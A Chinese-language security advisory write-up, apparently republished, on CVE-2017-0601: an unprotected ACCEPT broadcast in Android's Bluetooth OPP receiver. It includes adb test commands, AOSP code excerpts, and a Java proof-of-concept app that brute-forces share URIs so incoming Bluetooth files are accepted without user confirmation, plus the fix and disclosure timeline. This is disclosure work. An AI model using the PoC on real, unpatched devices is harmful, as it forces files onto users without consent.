原文地址:先知安全技術社區
0x01 概要
2017年5月的 Android 安全公告修復了我們提交的一個藍牙提權中危漏洞,這個漏洞盡管簡單,但比較有意思,能夠使本地惡意 App 繞過用戶交互,使用戶強制接收外部傳入的藍牙文件。漏洞概要如下:
- CVE: CVE-2017-0601
- BugID: A-35258579
- 嚴重性: 中
- 影響的 Google 設備: All
- Updated AOSP versions: 7.0, 7.1.1, 7.1.2
0x02 漏洞分析
藍牙App暴露了一個廣播接收器 com.android.bluetooth.opp.BluetoothOppReceiver ,本地普通 App 可以向這個 Receiver 發送廣播,查看其 OnReceive 方法,包含了對多種傳入廣播 Intent Action 的處理,但是大多數 Intent Action 處于保護狀態,簡單用 adb shell 可以一一對其測試,比如
```` adb shell am broadcast -a android.btopp.intent.action.OPEN
提示如下錯誤,說明action處于保護狀態
Broadcasting: Intent { act=android.btopp.intent.action.OPEN } java.lang.SecurityException: Permission Denial: not allowed to send broadcast android.btopp.intent.action.OPEN from pid=26382, uid=2000 at android.os.Parcel.readException(Parcel.java:1683) at android.os.Parcel.readException(Parcel.java:1636) at android.app.ActivityManagerProxy.broadcastIntent(ActivityManagerNative.java:3507) at com.android.commands.am.Am.sendBroadcast(Am.java:772) at com.android.commands.am.Am.onRun(Am.java:404) at com.android.internal.os.BaseCommand.run(BaseCommand.java:51) at com.android.commands.am.Am.main(Am.java:121) at com.android.internal.os.RuntimeInit.nativeFinishInit(Native Method) at com.android.internal.os.RuntimeInit.main(RuntimeInit.java:262)
但是 `android.btopp.intent.action.ACCEPT` 這個 Intent Action ,卻沒有保護
adb shell am broadcast -a android.btopp.intent.action.ACCEPT
Broadcasting: Intent { act=android.btopp.intent.action.ACCEPT }Broadcast completed: result=0
進一步分析 AOSP 代碼,發現傳入這個 Action 的 Intent 時,會將 Intent 攜帶 Uri 指向的 db 進行更新,更新為用戶確認狀態。
else if (action.equals(Constants.ACTION_ACCEPT)) { if (V) Log.v(TAG, "Receiver ACTION_ACCEPT"); Uri uri = intent.getData(); ContentValues values = new ContentValues(); values.put(BluetoothShare.USER_CONFIRMATION,BluetoothShare.USER_CONFIRMATION_CONFIRMED); context.getContentResolver().update(uri, values, null, null); cancelNotification(context, uri);
這個 db 其實就是藍牙文件共享的 provider ,對應的 uri 為 `content://con.android.bluetooth.opp/btopp` ,當通過藍牙共享接收、發送文件時,該數據庫都會增加新的條目,記錄接收、發送的狀態。該 provider 記錄的信息可以參考 BluetoothShare
/**
- Exposes constants used to interact with the Bluetooth Share manager's content
- provider.
- @hide */
public final class BluetoothShare implements BaseColumns { private BluetoothShare() { }
/**
* The permission to access the Bluetooth Share Manager
*/
public static final String PERMISSION_ACCESS = "android.permission.ACCESS_BLUETOOTH_SHARE";
/**
* The content:// URI for the data table in the provider
*/
public static final Uri CONTENT_URI = Uri.parse("content://com.android.bluetooth.opp/btopp");
因此,如果我們在 Intent 中傳入某個藍牙共享對應文件的 uri ,那么它在藍牙文件共享 Provider 中的狀態就會被更改為用戶確認狀態。這里繼續進行猜想,進一步,如果我們剛好通過藍牙傳入某個文件,將其狀態改為用戶確認,是否文件就無需確認,自動接收了呢?幸運的是,的確如此。
#### 0x03 漏洞利用
這里還有一個問題要解決,`content://com.android.bluetooth.opp/btopp` 只是整個 provider 的 uri ,我們如何知道剛剛通過藍牙傳入文件的 uri 呢?通過暴力窮舉,下面的 PoC 簡單地解決了這個問題,
public class MainActivity extends AppCompatActivity { Button m_btnAccept = null;
public static final String ACTION_ACCEPT = "android.btopp.intent.action.ACCEPT";
public static final String BLUETOOTH_SHARE_URI = "content://com.android.bluetooth.opp/btopp/";
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
m_btnAccept = (Button)findViewById(R.id.accept);
m_btnAccept.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
Intent intent = new Intent();
intent.setComponent(new ComponentName("com.android.bluetooth",
"com.android.bluetooth.opp.BluetoothOppReceiver"));
intent.setAction(ACTION_ACCEPT);
// Guess the incoming bluetooth share uri, normally it increases from 1 by 1 and could be guessed easily.
// Then Send broadcast to change the incoming file status
for (int i = 0 ; i < 255; i++) {
String uriString = BLUETOOTH_SHARE_URI + Integer.toString(i);
intent.setData(Uri.parse(uriString));
sendBroadcast(intent);
}
}
});
}
}
#### 0x04 測試方法
通過藍牙向測試手機發送文件,此時,手機將會出現提示,要用戶拒絕或者接受,這個對話框將會出現約1分鐘

此時運行 POC ,文件將會自動接收,因此這是一個本地用戶交互繞過。如果有惡意程序利用該漏洞一直在后臺運行,那么手機將會被強制接收任意藍牙傳入的文件。
#### 0x05 修復
Google 在 Framework 的 AndroidManifest 文件中,將 `android.btopp.intent.action.ACCEPT` 和 DECLINE 設為保護狀態,普通 App 無法發出攜帶這些 action 的 Intent 。
diff --git a/core/res/AndroidManifest.xml b/core/res/AndroidManifest.xml index ec712bb..011884c 100644 --- a/core/res/AndroidManifest.xml +++ b/core/res/AndroidManifest.xml
@@ -199,6 +199,8 @@
0x06時間線
- 2017.02.09——提交Google
- 2017.03.01——漏洞確認
- 2017.05.01——補丁發布
- 2017.05.04——漏洞公開
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/339/
暫無評論